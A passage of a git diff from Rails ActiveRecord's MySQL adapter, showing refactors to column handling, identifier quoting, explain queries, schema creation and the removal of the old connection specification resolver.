-        class MysqlJson < Type::Internal::AbstractJson # :nodoc:
-          def changed_in_place?(raw_old_value, new_value)
-            # Normalization is required because MySQL JSON data format includes
-            # the space between the elements.
-            super(serialize(deserialize(raw_old_value)), new_value)
-          end
+          options
         end
 
-        class MysqlString < Type::String # :nodoc:
-          def serialize(value)
-            case value
-            when true then MySQL::Quoting::QUOTED_TRUE
-            when false then MySQL::Quoting::QUOTED_FALSE
-            else super
-            end
-          end
+        def mismatched_foreign_key(message, sql:, binds:, connection_pool:)
+          options = {
+            message: message,
+            sql: sql,
+            binds: binds,
+            connection_pool: connection_pool
+          }
 
-          private
+          if sql
+            options.update mismatched_foreign_key_details(message: message, sql: sql)
+          else
+            options[:query_parser] = ->(sql) { mismatched_foreign_key_details(message: message, sql: sql) }
+          end
 
-            def cast_value(value)
-              case value
-              when true then MySQL::Quoting::QUOTED_TRUE
-              when false then MySQL::Quoting::QUOTED_FALSE
-              else super
-              end
-            end
+          MismatchedForeignKey.new(**options)
         end
 
-        ActiveRecord::Type.register(:json, MysqlJson, adapter: :mysql2)
-        ActiveRecord::Type.register(:string, MysqlString, adapter: :mysql2)
-        ActiveRecord::Type.register(:unsigned_integer, Type::UnsignedInteger, adapter: :mysql2)
+        def version_string(full_version_string)
+          if full_version_string && matches = full_version_string.match(/^(?:5\.5\.5-)?(\d+\.\d+\.\d+)/)
+            matches[1]
+          else
+            raise DatabaseVersionError, "Unable to parse MySQL version from #{full_version_string.inspect}"
+          end
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/column.rb b/activerecord/lib/active_record/connection_adapters/column.rb
index 61cd7ae4cc6a1..2c91c08e7a428 100644
--- a/activerecord/lib/active_record/connection_adapters/column.rb
+++ b/activerecord/lib/active_record/connection_adapters/column.rb
@@ -1,29 +1,38 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   # :stopdoc:
   module ConnectionAdapters
     # An abstract definition of a column in a table.
     class Column
-      attr_reader :name, :default, :sql_type_metadata, :null, :table_name, :default_function, :collation, :comment
+      include Deduplicable
+
+      attr_reader :name, :default, :sql_type_metadata, :null, :default_function, :collation, :comment
 
       delegate :precision, :scale, :limit, :type, :sql_type, to: :sql_type_metadata, allow_nil: true
 
       # Instantiates a new column in the table.
       #
-      # +name+ is the column's name, such as <tt>supplier_id</tt> in <tt>supplier_id int</tt>.
+      # +name+ is the column's name, such as <tt>supplier_id</tt> in <tt>supplier_id bigint</tt>.
       # +default+ is the type-casted default value, such as +new+ in <tt>sales_stage varchar(20) default 'new'</tt>.
       # +sql_type_metadata+ is various information about the type of the column
       # +null+ determines if this column allows +NULL+ values.
-      def initialize(name, default, sql_type_metadata = nil, null = true, table_name = nil, default_function = nil, collation = nil, comment: nil)
+      def initialize(name, cast_type, default, sql_type_metadata = nil, null = true, default_function = nil, collation: nil, comment: nil, **)
         @name = name.freeze
-        @table_name = table_name
+        @cast_type = cast_type
         @sql_type_metadata = sql_type_metadata
         @null = null
-        @default = default
+        @default = default.nil? || cast_type.mutable? ? default : cast_type.deserialize(default)
         @default_function = default_function
         @collation = collation
         @comment = comment
       end
 
+      def fetch_cast_type(connection) # :nodoc:
+        # TODO: Remove fetch_cast_type and the need for connection after we release 8.1.
+        @cast_type || connection.lookup_cast_type(sql_type)
+      end
+
       def has_default?
         !default.nil? || default_function
       end
@@ -42,7 +51,7 @@ def human_name
 
       def init_with(coder)
         @name = coder["name"]
-        @table_name = coder["table_name"]
+        @cast_type = coder["cast_type"]
         @sql_type_metadata = coder["sql_type_metadata"]
         @null = coder["null"]
         @default = coder["default"]
@@ -53,7 +62,7 @@ def init_with(coder)
 
       def encode_with(coder)
         coder["name"] = @name
-        coder["table_name"] = @table_name
+        coder["cast_type"] = @cast_type
         coder["sql_type_metadata"] = @sql_type_metadata
         coder["null"] = @null
         coder["default"] = @default
@@ -62,26 +71,63 @@ def encode_with(coder)
         coder["comment"] = @comment
       end
 
+      # whether the column is auto-populated by the database using a sequence
+      def auto_incremented_by_db?
+        false
+      end
+
+      def auto_populated?
+        auto_incremented_by_db? || default_function
+      end
+
       def ==(other)
         other.is_a?(Column) &&
-          attributes_for_hash == other.attributes_for_hash
+          name == other.name &&
+          cast_type == other.cast_type &&
+          default == other.default &&
+          sql_type_metadata == other.sql_type_metadata &&
+          null == other.null &&
+          default_function == other.default_function &&
+          collation == other.collation &&
+          comment == other.comment
       end
       alias :eql? :==
 
       def hash
-        attributes_for_hash.hash
+        Column.hash ^
+          name.hash ^
+          name.encoding.hash ^
+          cast_type.hash ^
+          default.hash ^
+          sql_type_metadata.hash ^
+          null.hash ^
+          default_function.hash ^
+          collation.hash ^
+          comment.hash
+      end
+
+      def virtual?
+        false
       end
 
       protected
+        attr_reader :cast_type
 
-        def attributes_for_hash
-          [self.class, name, default, sql_type_metadata, null, table_name, default_function, collation]
+      private
+        def deduplicated
+          @name = -name
+          @sql_type_metadata = sql_type_metadata.deduplicate if sql_type_metadata
+          @default = -default if String === default
+          @default_function = -default_function if default_function
+          @collation = -collation if collation
+          @comment = -comment if comment
+          super
         end
     end
 
     class NullColumn < Column
-      def initialize(name)
-        super(name, nil)
+      def initialize(name, **)
+        super(name, nil, nil)
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
deleted file mode 100644
index dcf56997dbed9..0000000000000
--- a/activerecord/lib/active_record/connection_adapters/connection_specification.rb
+++ /dev/null
@@ -1,264 +0,0 @@
-require "uri"
-
-module ActiveRecord
-  module ConnectionAdapters
-    class ConnectionSpecification #:nodoc:
-      attr_reader :name, :config, :adapter_method
-
-      def initialize(name, config, adapter_method)
-        @name, @config, @adapter_method = name, config, adapter_method
-      end
-
-      def initialize_dup(original)
-        @config = original.config.dup
-      end
-
-      def to_hash
-        @config.merge(name: @name)
-      end
-
-      # Expands a connection string into a hash.
-      class ConnectionUrlResolver # :nodoc:
-        # == Example
-        #
-        #   url = "postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000"
-        #   ConnectionUrlResolver.new(url).to_hash
-        #   # => {
-        #     "adapter"  => "postgresql",
-        #     "host"     => "localhost",
-        #     "port"     => 9000,
-        #     "database" => "foo_test",
-        #     "username" => "foo",
-        #     "password" => "bar",
-        #     "pool"     => "5",
-        #     "timeout"  => "3000"
-        #   }
-        def initialize(url)
-          raise "Database URL cannot be empty" if url.blank?
-          @uri     = uri_parser.parse(url)
-          @adapter = @uri.scheme && @uri.scheme.tr("-", "_")
-          @adapter = "postgresql" if @adapter == "postgres"
-
-          if @uri.opaque
-            @uri.opaque, @query = @uri.opaque.split("?", 2)
-          else
-            @query = @uri.query
-          end
-        end
-
-        # Converts the given URL to a full connection hash.
-        def to_hash
-          config = raw_config.reject { |_, value| value.blank? }
-          config.map { |key, value| config[key] = uri_parser.unescape(value) if value.is_a? String }
-          config
-        end
-
-        private
-
-          def uri
-            @uri
-          end
-
-          def uri_parser
-            @uri_parser ||= URI::Parser.new
-          end
-
-          # Converts the query parameters of the URI into a hash.
-          #
-          #   "localhost?pool=5&reaping_frequency=2"
-          #   # => { "pool" => "5", "reaping_frequency" => "2" }
-          #
-          # returns empty hash if no query present.
-          #
-          #   "localhost"
-          #   # => {}
-          def query_hash
-            Hash[(@query || "").split("&").map { |pair| pair.split("=") }]
-          end
-
-          def raw_config
-            if uri.opaque
-              query_hash.merge(
-                "adapter"  => @adapter,
-                "database" => uri.opaque)
-            else
-              query_hash.merge(
-                "adapter"  => @adapter,
-                "username" => uri.user,
-                "password" => uri.password,
-                "port"     => uri.port,
-                "database" => database_from_path,
-                "host"     => uri.hostname)
-            end
-          end
-
-          # Returns name of the database.
-          def database_from_path
-            if @adapter == "sqlite3"
-              # 'sqlite3:/foo' is absolute, because that makes sense. The
-              # corresponding relative version, 'sqlite3:foo', is handled
-              # elsewhere, as an "opaque".
-
-              uri.path
-            else
-              # Only SQLite uses a filename as the "database" name; for
-              # anything else, a leading slash would be silly.
-
-              uri.path.sub(%r{^/}, "")
-            end
-          end
-      end
-
-      ##
-      # Builds a ConnectionSpecification from user input.
-      class Resolver # :nodoc:
-        attr_reader :configurations
-
-        # Accepts a hash two layers deep, keys on the first layer represent
-        # environments such as "production". Keys must be strings.
-        def initialize(configurations)
-          @configurations = configurations
-        end
-
-        # Returns a hash with database connection information.
-        #
-        # == Examples
-        #
-        # Full hash Configuration.
-        #
-        #   configurations = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
-        #   Resolver.new(configurations).resolve(:production)
-        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3"}
-        #
-        # Initialized with URL configuration strings.
-        #
-        #   configurations = { "production" => "postgresql://localhost/foo" }
-        #   Resolver.new(configurations).resolve(:production)
-        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
-        #
-        def resolve(config)
-          if config
-            resolve_connection config
-          elsif env = ActiveRecord::ConnectionHandling::RAILS_ENV.call
-            resolve_symbol_connection env.to_sym
-          else
-            raise AdapterNotSpecified
-          end
-        end
-
-        # Expands each key in @configurations hash into fully resolved hash
-        def resolve_all
-          config = configurations.dup
-          config.each do |key, value|
-            config[key] = resolve(value) if value
-          end
-          config
-        end
-
-        # Returns an instance of ConnectionSpecification for a given adapter.
-        # Accepts a hash one layer deep that contains all connection information.
-        #
-        # == Example
-        #
-        #   config = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
-        #   spec = Resolver.new(config).spec(:production)
-        #   spec.adapter_method
-        #   # => "sqlite3_connection"
-        #   spec.config
-        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" }
-        #
-        def spec(config)
-          spec = resolve(config).symbolize_keys
-
-          raise(AdapterNotSpecified, "database configuration does not specify adapter") unless spec.key?(:adapter)
-
-          path_to_adapter = "active_record/connection_adapters/#{spec[:adapter]}_adapter"
-          begin
-            require path_to_adapter
-          rescue Gem::LoadError => e
-            raise Gem::LoadError, "Specified '#{spec[:adapter]}' for database adapter, but the gem is not loaded. Add `gem '#{e.name}'` to your Gemfile (and ensure its version is at the minimum required by ActiveRecord)."
-          rescue LoadError => e
-            raise LoadError, "Could not load '#{path_to_adapter}'. Make sure that the adapter in config/database.yml is valid. If you use an adapter other than 'mysql2', 'postgresql' or 'sqlite3' add the necessary adapter gem to the Gemfile.", e.backtrace
-          end
-
-          adapter_method = "#{spec[:adapter]}_connection"
-
-          unless ActiveRecord::Base.respond_to?(adapter_method)
-            raise AdapterNotFound, "database configuration specifies nonexistent #{spec.config[:adapter]} adapter"
-          end
-
-          ConnectionSpecification.new(spec.delete(:name) || "primary", spec, adapter_method)
-        end
-
-        private
-
-          # Returns fully resolved connection, accepts hash, string or symbol.
-          # Always returns a hash.
-          #
-          # == Examples
-          #
-          # Symbol representing current environment.
-          #
-          #   Resolver.new("production" => {}).resolve_connection(:production)
-          #   # => {}
-          #
-          # One layer deep hash of connection values.
-          #
-          #   Resolver.new({}).resolve_connection("adapter" => "sqlite3")
-          #   # => { "adapter" => "sqlite3" }
-          #
-          # Connection URL.
-          #
-          #   Resolver.new({}).resolve_connection("postgresql://localhost/foo")
-          #   # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
-          #
-          def resolve_connection(spec)
-            case spec
-            when Symbol
-              resolve_symbol_connection spec
-            when String
-              resolve_url_connection spec
-            when Hash
-              resolve_hash_connection spec
-            end
-          end
-
-          # Takes the environment such as +:production+ or +:development+.
-          # This requires that the @configurations was initialized with a key that
-          # matches.
-          #
-          #   Resolver.new("production" => {}).resolve_symbol_connection(:production)
-          #   # => {}
-          #
-          def resolve_symbol_connection(spec)
-            if config = configurations[spec.to_s]
-              resolve_connection(config).merge("name" => spec.to_s)
-            else
-              raise(AdapterNotSpecified, "'#{spec}' database is not configured. Available: #{configurations.keys.inspect}")
-            end
-          end
-
-          # Accepts a hash. Expands the "url" key that contains a
-          # URL database connection to a full connection
-          # hash and merges with the rest of the hash.
-          # Connection details inside of the "url" key win any merge conflicts
-          def resolve_hash_connection(spec)
-            if spec["url"] && spec["url"] !~ /^jdbc:/
-              connection_hash = resolve_url_connection(spec.delete("url"))
-              spec.merge!(connection_hash)
-            end
-            spec
-          end
-
-          # Takes a connection URL.
-          #
-          #   Resolver.new({}).resolve_url_connection("postgresql://localhost/foo")
-          #   # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
-          #
-          def resolve_url_connection(url)
-            ConnectionUrlResolver.new(url).to_hash
-          end
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/connection_adapters/deduplicable.rb b/activerecord/lib/active_record/connection_adapters/deduplicable.rb
new file mode 100644
index 0000000000000..030fd171bedb4
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/deduplicable.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters # :nodoc:
+    module Deduplicable
+      extend ActiveSupport::Concern
+
+      module ClassMethods
+        def registry
+          @registry ||= {}
+        end
+
+        def new(*, **)
+          super.deduplicate
+        end
+      end
+
+      def deduplicate
+        self.class.registry[self] ||= deduplicated
+      end
+      alias :-@ :deduplicate
+
+      private
+        def deduplicated
+          freeze
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/determine_if_preparable_visitor.rb b/activerecord/lib/active_record/connection_adapters/determine_if_preparable_visitor.rb
deleted file mode 100644
index 0fdc185c453a5..0000000000000
--- a/activerecord/lib/active_record/connection_adapters/determine_if_preparable_visitor.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-module ActiveRecord
-  module ConnectionAdapters
-    module DetermineIfPreparableVisitor
-      attr_reader :preparable
-
-      def accept(*)
-        @preparable = true
-        super
-      end
-
-      def visit_Arel_Nodes_In(*)
-        @preparable = false
-        super
-      end
-
-      def visit_Arel_Nodes_SqlLiteral(*)
-        @preparable = false
-        super
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/column.rb b/activerecord/lib/active_record/connection_adapters/mysql/column.rb
index c9ad47c035725..0d4b022548995 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql/column.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql/column.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module MySQL
@@ -9,12 +11,13 @@ def unsigned?
         end
 
         def case_sensitive?
-          collation && !/_ci\z/.match?(collation)
+          collation && !collation.end_with?("_ci")
         end
 
         def auto_increment?
           extra == "auto_increment"
         end
+        alias_method :auto_incremented_by_db?, :auto_increment?
 
         def virtual?
           /\b(?:VIRTUAL|STORED|PERSISTENT)\b/.match?(extra)
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb b/activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb
index 8c67a7a80b25e..dd229d50aea96 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb
@@ -1,109 +1,98 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module MySQL
       module DatabaseStatements
-        # Returns an ActiveRecord::Result instance.
-        def select_all(arel, name = nil, binds = [], preparable: nil) # :nodoc:
-          result = if ExplainRegistry.collect? && prepared_statements
-            unprepared_statement { super }
-          else
-            super
-          end
-          @connection.next_result while @connection.more_results?
-          result
+        READ_QUERY = AbstractAdapter.build_read_query_regexp(
+          :desc, :describe, :set, :show, :use, :kill
+        ) # :nodoc:
+        private_constant :READ_QUERY
+
+        # https://dev.mysql.com/doc/refman/5.7/en/date-and-time-functions.html#function_current-timestamp
+        # https://dev.mysql.com/doc/refman/5.7/en/date-and-time-type-syntax.html
+        HIGH_PRECISION_CURRENT_TIMESTAMP = Arel.sql("CURRENT_TIMESTAMP(6)", retryable: true).freeze # :nodoc:
+        private_constant :HIGH_PRECISION_CURRENT_TIMESTAMP
+
+        def write_query?(sql) # :nodoc:
+          !READ_QUERY.match?(sql)
+        rescue ArgumentError # Invalid encoding
+          !READ_QUERY.match?(sql.b)
         end
 
-        # Returns an array of arrays containing the field values.
-        # Order is the same as that returned by +columns+.
-        def select_rows(arel, name = nil, binds = []) # :nodoc:
-          select_result(arel, name, binds) do |result|
-            @connection.next_result while @connection.more_results?
-            result.to_a
-          end
+        def high_precision_current_timestamp
+          HIGH_PRECISION_CURRENT_TIMESTAMP
         end
 
-        # Executes the SQL statement in the context of this connection.
-        def execute(sql, name = nil)
-          # make sure we carry over any changes to ActiveRecord::Base.default_timezone that have been
-          # made since we established the connection
-          @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone
+        def explain(arel, binds = [], options = [])
+          sql     = build_explain_clause(options) + " " + to_sql(arel, binds)
+          start   = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+          result  = select_all(sql, "EXPLAIN", binds)
+          elapsed = Process.clock_gettime(Process::CLOCK_MONOTONIC) - start
 
-          super
+          MySQL::ExplainPrettyPrinter.new.pp(result, elapsed)
         end
 
-        def exec_query(sql, name = "SQL", binds = [], prepare: false)
-          if without_prepared_statement?(binds)
-            execute_and_free(sql, name) do |result|
-              ActiveRecord::Result.new(result.fields, result.to_a) if result
-            end
-          else
-            exec_stmt_and_free(sql, name, binds, cache_stmt: prepare) do |_, result|
-              ActiveRecord::Result.new(result.fields, result.to_a) if result
-            end
+        def build_explain_clause(options = [])
+          return "EXPLAIN" if options.empty?
+
+          options = options.flat_map do |option|
+            option.is_a?(Hash) ? option.to_a.map { |nested| nested.join("=") } : option
           end
-        end
 
-        def exec_delete(sql, name = nil, binds = [])
-          if without_prepared_statement?(binds)
-            execute_and_free(sql, name) { @connection.affected_rows }
+          explain_clause = "EXPLAIN #{options.join(" ").upcase}"
+
+          if analyze_without_explain? && explain_clause.include?("ANALYZE")
+            explain_clause.sub("EXPLAIN ", "")
           else
-            exec_stmt_and_free(sql, name, binds) { |stmt| stmt.affected_rows }
+            explain_clause
           end
         end
-        alias :exec_update :exec_delete
 
-        private
+        def default_insert_value(column) # :nodoc:
+          super unless column.auto_increment?
+        end
 
-          def last_inserted_id(result)
-            @connection.last_id
+        private
+          # https://mariadb.com/kb/en/analyze-statement/
+          def analyze_without_explain?
+            mariadb? && database_version >= "10.1.0"
           end
 
-          def select_result(arel, name, binds)
-            arel, binds = binds_from_relation(arel, binds)
-            sql = to_sql(arel, binds)
-            if without_prepared_statement?(binds)
-              execute_and_free(sql, name) { |result| yield result }
+          def returning_column_values(result)
+            if supports_insert_returning?
+              result.rows.first
             else
-              exec_stmt_and_free(sql, name, binds, cache_stmt: true) { |_, result| yield result }
+              super
             end
           end
 
-          def exec_stmt_and_free(sql, name, binds, cache_stmt: false)
-            # make sure we carry over any changes to ActiveRecord::Base.default_timezone that have been
-            # made since we established the connection
-            @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone
-
-            type_casted_binds = type_casted_binds(binds)
-
-            log(sql, name, binds, type_casted_binds) do
-              if cache_stmt
-                cache = @statements[sql] ||= {
-                  stmt: @connection.prepare(sql)
-                }
-                stmt = cache[:stmt]
+          def combine_multi_statements(total_sql)
+            total_sql.each_with_object([]) do |sql, total_sql_chunks|
+              previous_packet = total_sql_chunks.last
+              if max_allowed_packet_reached?(sql, previous_packet)
+                total_sql_chunks << +sql
               else
-                stmt = @connection.prepare(sql)
-              end
-
-              begin
-                result = ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
-                  stmt.execute(*type_casted_binds)
-                end
-              rescue Mysql2::Error => e
-                if cache_stmt
-                  @statements.delete(sql)
-                else
-                  stmt.close
-                end
-                raise e
+                previous_packet << ";\n"
+                previous_packet << sql
               end
+            end
+          end
 
-              ret = yield stmt, result
-              result.free if result
-              stmt.close unless cache_stmt
-              ret
+          def max_allowed_packet_reached?(current_packet, previous_packet)
+            if current_packet.bytesize > max_allowed_packet
+              raise ActiveRecordError,
+                "Fixtures set is too large #{current_packet.bytesize}. Consider increasing the max_allowed_packet variable."
+            elsif previous_packet.nil?
+              true
+            else
+              (current_packet.bytesize + previous_packet.bytesize + 2) > max_allowed_packet
             end
           end
+
+          def max_allowed_packet
+            @max_allowed_packet ||= show_variable("max_allowed_packet")
+          end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer.rb b/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer.rb
index 9691060cd3fe3..ed3e68132be47 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module MySQL
@@ -35,7 +37,6 @@ def pp(result, elapsed)
         end
 
         private
-
           def compute_column_widths(result)
             [].tap do |widths|
               result.columns.each_with_index do |column, i|
@@ -55,7 +56,7 @@ def build_cells(items, widths)
             items.each_with_index do |item, i|
               item = "NULL" if item.nil?
               justifier = item.is_a?(Numeric) ? "rjust" : "ljust"
-              cells << item.to_s.send(justifier, widths[i])
+              cells << item.to_s.public_send(justifier, widths[i])
             end
             "| " + cells.join(" | ") + " |"
           end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/quoting.rb b/activerecord/lib/active_record/connection_adapters/mysql/quoting.rb
index d4f5906b332a4..70d99d2880edf 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql/quoting.rb
@@ -1,43 +1,118 @@
+# frozen_string_literal: true
+
+require "active_support/time_with_zone"
+
 module ActiveRecord
   module ConnectionAdapters
     module MySQL
       module Quoting # :nodoc:
-        QUOTED_TRUE, QUOTED_FALSE = "1".freeze, "0".freeze
+        extend ActiveSupport::Concern
 
-        def quote_column_name(name)
-          @quoted_column_names[name] ||= "`#{super.gsub('`', '``')}`".freeze
-        end
+        QUOTED_COLUMN_NAMES = Concurrent::Map.new # :nodoc:
+        QUOTED_TABLE_NAMES = Concurrent::Map.new # :nodoc:
+
+        module ClassMethods # :nodoc:
+          def column_name_matcher
+            /
+              \A
+              (
+                (?:
+                  # `table_name`.`column_name` | function(one or no argument)
+                  ((?:\w+\.|`\w+`\.)?(?:\w+|`\w+`) | \w+\((?:|\g<2>)\))
+                )
+                (?:(?:\s+AS)?\s+(?:\w+|`\w+`))?
+              )
+              (?:\s*,\s*\g<1>)*
+              \z
+            /ix
+          end
+
+          def column_name_with_order_matcher
+            /
+              \A
+              (
+                (?:
+                  # `table_name`.`column_name` | function(one or no argument)
+                  ((?:\w+\.|`\w+`\.)?(?:\w+|`\w+`) | \w+\((?:|\g<2>)\))
+                )
+                (?:\s+COLLATE\s+(?:\w+|"\w+"))?
+                (?:\s+ASC|\s+DESC)?
+              )
+              (?:\s*,\s*\g<1>)*
+              \z
+            /ix
+          end
+
+          def quote_column_name(name)
+            QUOTED_COLUMN_NAMES[name] ||= "`#{name.to_s.gsub('`', '``')}`".freeze
+          end
 
-        def quote_table_name(name)
-          @quoted_table_names[name] ||= super.gsub(".", "`.`").freeze
+          def quote_table_name(name)
+            QUOTED_TABLE_NAMES[name] ||= "`#{name.to_s.gsub('`', '``').gsub(".", "`.`")}`".freeze
+          end
         end
 
-        def quoted_true
-          QUOTED_TRUE
+        def cast_bound_value(value)
+          case value
+          when Rational
+            value.to_f.to_s
+          when Numeric
+            value.to_s
+          when BigDecimal
+            value.to_s("F")
+          when true
+            "1"
+          when false
+            "0"
+          else
+            value
+          end
         end
 
         def unquoted_true
           1
         end
 
-        def quoted_false
-          QUOTED_FALSE
-        end
-
         def unquoted_false
           0
         end
 
-        def quoted_date(value)
-          if supports_datetime_with_precision?
-            super
+        def quoted_binary(value)
+          "x'#{value.hex}'"
+        end
+
+        def unquote_identifier(identifier)
+          if identifier && identifier.start_with?("`")
+            identifier[1..-2]
           else
-            super.sub(/\.\d{6}\z/, "")
+            identifier
           end
         end
 
-        def quoted_binary(value)
-          "x'#{value.hex}'"
+        # Override +type_cast+ we pass to mysql2 Date and Time objects instead
+        # of Strings since MySQL adapters are able to handle those classes more efficiently.
+        def type_cast(value) # :nodoc:
+          case value
+          when ActiveSupport::TimeWithZone
+            # We need to check explicitly for ActiveSupport::TimeWithZone because
+            # we need to transform it to Time objects but we don't want to
+            # transform Time objects to themselves.
+            if default_timezone == :utc
+              value.getutc
+            else
+              value.getlocal
+            end
+          when Time
+            if default_timezone == :utc
+              value.utc? ? value : value.getutc
+            else
+              value.utc? ? value.getlocal : value
+            end
+          when Date
+            value
+          else
+            super
+          end
         end
       end
     end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/mysql/schema_creation.rb
index e8358271ab04b..f99ca84f800b4 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql/schema_creation.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql/schema_creation.rb
@@ -1,30 +1,75 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module MySQL
-      class SchemaCreation < AbstractAdapter::SchemaCreation # :nodoc:
-        delegate :add_sql_comment!, :mariadb?, to: :@conn
-        private :add_sql_comment!, :mariadb?
+      class SchemaCreation < SchemaCreation # :nodoc:
+        delegate :add_sql_comment!, :mariadb?, to: :@conn, private: true
 
         private
-
           def visit_DropForeignKey(name)
             "DROP FOREIGN KEY #{name}"
           end
 
+          def visit_DropCheckConstraint(name)
+            "DROP #{mariadb? ? 'CONSTRAINT' : 'CHECK'} #{name}"
+          end
+
           def visit_AddColumnDefinition(o)
             add_column_position!(super, column_options(o.column))
           end
 
           def visit_ChangeColumnDefinition(o)
-            change_column_sql = "CHANGE #{quote_column_name(o.name)} #{accept(o.column)}"
+            change_column_sql = +"CHANGE #{quote_column_name(o.name)} #{accept(o.column)}"
             add_column_position!(change_column_sql, column_options(o.column))
           end
 
-          def add_table_options!(create_sql, options)
-            add_sql_comment!(super, options[:comment])
+          def visit_ChangeColumnDefaultDefinition(o)
+            sql = +"ALTER COLUMN #{quote_column_name(o.column.name)} "
+            if o.default.nil? && !o.column.null
+              sql << "DROP DEFAULT"
+            else
+              sql << "SET DEFAULT #{quote_default_expression(o.default, o.column)}"
+            end
+          end
+
+          def visit_CreateIndexDefinition(o)
+            sql = visit_IndexDefinition(o.index, true)
+            sql << " #{o.algorithm}" if o.algorithm
+            sql
+          end
+
+          def visit_IndexDefinition(o, create = false)
+            index_type = o.type&.to_s&.upcase || o.unique && "UNIQUE"
+
+            sql = create ? ["CREATE"] : []
+            sql << index_type if index_type
+            sql << "INDEX"
+            sql << quote_column_name(o.name)
+            sql << "USING #{o.using}" if o.using
+            sql << "ON #{quote_table_name(o.table)}" if create
+            sql << "(#{quoted_columns(o)})"
+            sql << "INVISIBLE" if o.disabled? && !mariadb?
+            sql << "IGNORED" if o.disabled? && mariadb?
+
+            add_sql_comment!(sql.join(" "), o.comment)
+          end
+
+          def add_table_options!(create_sql, o)
+            create_sql << " DEFAULT CHARSET=#{o.charset}" if o.charset
+            create_sql << " COLLATE=#{o.collation}" if o.collation
+            add_sql_comment!(super, o.comment)
           end
 
           def add_column_options!(sql, options)
+            # By default, TIMESTAMP columns are NOT NULL, cannot contain NULL values,
+            # and assigning NULL assigns the current timestamp. To permit a TIMESTAMP
+            # column to contain NULL, explicitly declare it with the NULL attribute.
+            # See https://dev.mysql.com/doc/refman/en/timestamp-initialization.html
+            if /\Atimestamp\b/.match?(options[:column].sql_type) && !options[:primary_key]
+              sql << " NULL" unless options[:null] == false || options_include_default?(options)
+            end
+
             if charset = options[:charset]
               sql << " CHARACTER SET #{charset}"
             end
@@ -54,8 +99,8 @@ def add_column_position!(sql, options)
           end
 
           def index_in_create(table_name, column_name, options)
-            index_name, index_type, index_columns, _, _, index_using, comment = @conn.add_index_options(table_name, column_name, options)
-            add_sql_comment!("#{index_type} INDEX #{quote_column_name(index_name)} #{index_using} (#{index_columns})", comment)
+            index, _ = @conn.add_index_options(table_name, column_name, **options)
+            accept(index)
           end
       end
     end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/mysql/schema_definitions.rb
index 773bbcef4e983..0c8906764da00 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql/schema_definitions.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql/schema_definitions.rb
@@ -1,64 +1,83 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module MySQL
       module ColumnMethods
-        def primary_key(name, type = :primary_key, **options)
-          options[:auto_increment] = true if [:integer, :bigint].include?(type) && !options.key?(:default)
-          super
-        end
+        extend ActiveSupport::Concern
+        extend ConnectionAdapters::ColumnMethods::ClassMethods
 
-        def blob(*args, **options)
-          args.each { |name| column(name, :blob, options) }
-        end
+        ##
+        # :method: blob
+        # :call-seq: blob(*names, **options)
 
-        def tinyblob(*args, **options)
-          args.each { |name| column(name, :tinyblob, options) }
-        end
+        ##
+        # :method: tinyblob
+        # :call-seq: tinyblob(*names, **options)
 
-        def mediumblob(*args, **options)
-          args.each { |name| column(name, :mediumblob, options) }
-        end
+        ##
+        # :method: mediumblob
+        # :call-seq: mediumblob(*names, **options)
 
-        def longblob(*args, **options)
-          args.each { |name| column(name, :longblob, options) }
-        end
+        ##
+        # :method: longblob
+        # :call-seq: longblob(*names, **options)
 
-        def tinytext(*args, **options)
-          args.each { |name| column(name, :tinytext, options) }
-        end
+        ##
+        # :method: tinytext
+        # :call-seq: tinytext(*names, **options)
 
-        def mediumtext(*args, **options)
